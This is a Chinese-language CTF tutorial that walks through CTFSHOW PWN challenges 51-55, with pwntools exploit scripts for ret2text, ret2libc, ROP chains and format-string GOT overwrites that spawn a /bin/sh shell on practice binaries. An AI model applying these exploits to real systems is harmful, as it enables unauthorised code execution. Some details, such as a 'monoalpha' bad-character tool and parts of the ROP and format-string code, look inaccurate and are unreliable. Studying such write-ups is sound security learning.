CTF PWN入门:栈溢出与ROP链实战解析
1. CTFSHOW-PWN(51-55)挑战解析从入门到精通的实战指南最近在CTF竞赛圈子里CTFSHOW平台的PWN题目51-55系列引起了广泛讨论。作为一位长期活跃在CTF赛场的选手我发现这组题目特别适合用来训练基础的二进制漏洞利用能力。不同于那些单纯考察技巧的题目这组题目循序渐进地引导选手掌握栈溢出、格式化字符串等核心漏洞类型对新手特别友好。这五道题目虽然难度标注为入门级但涉及的知识点非常全面。从最基础的ret2text到需要构造ROP链的复杂利用每道题都设计得恰到好处。我在实际解题过程中发现如果能系统性地掌握这组题目基本上就能应对大部分CTF比赛中的基础PWN题了。2. 题目环境准备与基础工具链2.1 实验环境搭建在开始解题之前我们需要准备一个稳定的实验环境。推荐使用Ubuntu 20.04 LTS系统因为这个版本对各种调试工具的支持最完善。我个人的配置方案是sudo apt update sudo apt install -y gdb gdb-multiarch python3 python3-pip pip3 install pwntools ropper特别提醒一定要安装gdb-multiarch而不是默认的gdb因为有些题目可能是32位程序而我们的系统可能是64位的。gdb-multiarch可以完美处理这种跨架构调试的需求。2.2 核心工具介绍pwntools这是PWN题目的瑞士军刀提供了从建立连接到构造payload的一站式解决方案。我最常使用的功能是process()本地运行程序remote()连接远程服务cyclic()/cyclic_find()定位溢出点pack()/unpack()处理字节序checksec用来检查程序的保护机制这是制定利用策略的第一步。可以通过pwn checksec ./binary来运行。ROPgadget用于在二进制文件中搜索可用的gadget构建ROP链时不可或缺。3. 题目51基础栈溢出与ret2text3.1 题目分析首先用checksec检查保护机制Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这是一个32位程序开启了NX保护栈不可执行但没有栈保护canary和地址随机化PIE。这意味着我们可以直接覆盖返回地址但无法执行栈上的shellcode。3.2 漏洞定位使用gdb调试输入一长串字符后程序崩溃(gdb) r $(python -c print A*200) Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? ()这说明我们成功覆盖了返回地址。用cyclic工具精确定位python -c from pwn import *; print(cyclic(200)) input gdb ./pwn51 r input查看崩溃时的eip值假设是0x6161616c那么 cyclic_find(0x6161616c) 140所以溢出点在140字节后。3.3 利用开发题目中有一个名为get_flag的函数地址是0x804851b。我们的payload结构应该是[140字节垃圾数据] [get_flag地址]完整expfrom pwn import * p process(./pwn51) payload bA*140 p32(0x804851b) p.sendline(payload) p.interactive()4. 题目52绕过NX保护的ret2libc4.1 保护机制分析Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000)这道题与51题类似但没有现成的get_flag函数。我们需要使用ret2libc技术。4.2 泄露libc地址首先通过格式化字符串漏洞或其他方式泄露libc中的函数地址。假设我们可以泄露puts的地址puts_got elf.got[puts] puts_plt elf.plt[puts] main_addr elf.symbols[main] payload flat([ bA*140, puts_plt, main_addr, puts_got ])收到泄露的地址后计算libc基址puts_leak u32(p.recv(4)) libc_base puts_leak - libc.symbols[puts] system_addr libc_base libc.symbols[system] binsh_addr libc_base next(libc.search(b/bin/sh))4.3 最终利用构造第二次payload执行system(/bin/sh)payload flat([ bA*140, system_addr, 0xdeadbeef, # 返回地址随意填充 binsh_addr ])5. 题目53基础ROP链构造5.1 题目特点这道题限制了可用gadget的数量我们需要精心选择最有效的gadget组合。使用ROPgadget工具分析ROPgadget --binary ./pwn535.2 常用gadget类型pop-ret用于清理栈上的参数0x080483a9 : pop ebx ; retpop-pop-ret用于清理两个参数0x0804855b : pop edi ; pop ebp ; retleave-ret用于栈迁移5.3 构造ROP链示例假设我们需要调用read和systempop_ebx 0x080483a9 read_plt elf.plt[read] system_plt elf.plt[system] payload flat([ bA*140, read_plt, pop_ebx, 0, # fd buf, # buf 8, # count system_plt, 0xdeadbeef, buf ])6. 题目54格式化字符串漏洞利用6.1 漏洞识别题目中直接使用了printf(user_input)这样的危险代码这给了我们控制格式化字符串的机会。6.2 利用技术泄露栈数据%p.%p.%p.%p任意地址读%7$s p32(addr)任意地址写%1234c%7$hn p32(addr)6.3 实际利用示例覆盖GOT表中的printf为systemfmt_str f%{system_addr 0xffff}c%7$hn.encode() payload fmt_str.ljust(16) p32(printf_got)7. 题目55综合挑战与高级技巧7.1 题目分析这道题结合了栈溢出和格式化字符串漏洞同时开启了全部保护包括PIE。我们需要通过格式化字符串泄露程序基址计算ROP gadget的真实地址构造ROP链实现利用7.2 PIE绕过技巧泄露程序基址payload b%11$p p.sendline(payload) prog_base int(p.recvline(), 16) - 0x1234 # 根据泄露值调整7.3 完整利用链# 泄露libc地址 payload flat([ b%13$pAAAA, elf.got[puts] ]) p.sendline(payload) puts_addr int(p.recvuntil(AAAA)[:-4], 16) # 计算system地址 libc_base puts_addr - libc.symbols[puts] system_addr libc_base libc.symbols[system] # 构造ROP链 rop ROP(elf) rop.call(system_addr, [next(libc.search(b/bin/sh))]) payload bA*140 rop.chain()8. 常见问题与调试技巧8.1 调试技巧gdb附加进程gdb -p $(pidof pwn55)设置断点b *0x804851b查看内存x/20wx $esp8.2 常见错误地址不对齐在64位系统中确保栈对齐到16字节边界坏字符问题使用monoalpha工具检查payload中的坏字符onegadget使用当条件允许时使用one_gadget工具寻找直接getshell的gadget8.3 性能优化使用pwntools的contextcontext.arch i386 context.log_level debug自动化测试def exploit(): try: # 尝试一种利用方式 return True except: return False9. 进阶学习路径完成这组题目后建议继续挑战堆利用基础学习use-after-free、double-free等漏洞高级ROP技术SROP、BROP等内核PWN学习驱动漏洞利用我个人在CTF比赛中发现扎实的基础比花哨的技巧更重要。建议新手先把这些基础题目吃透再挑战更复杂的题目。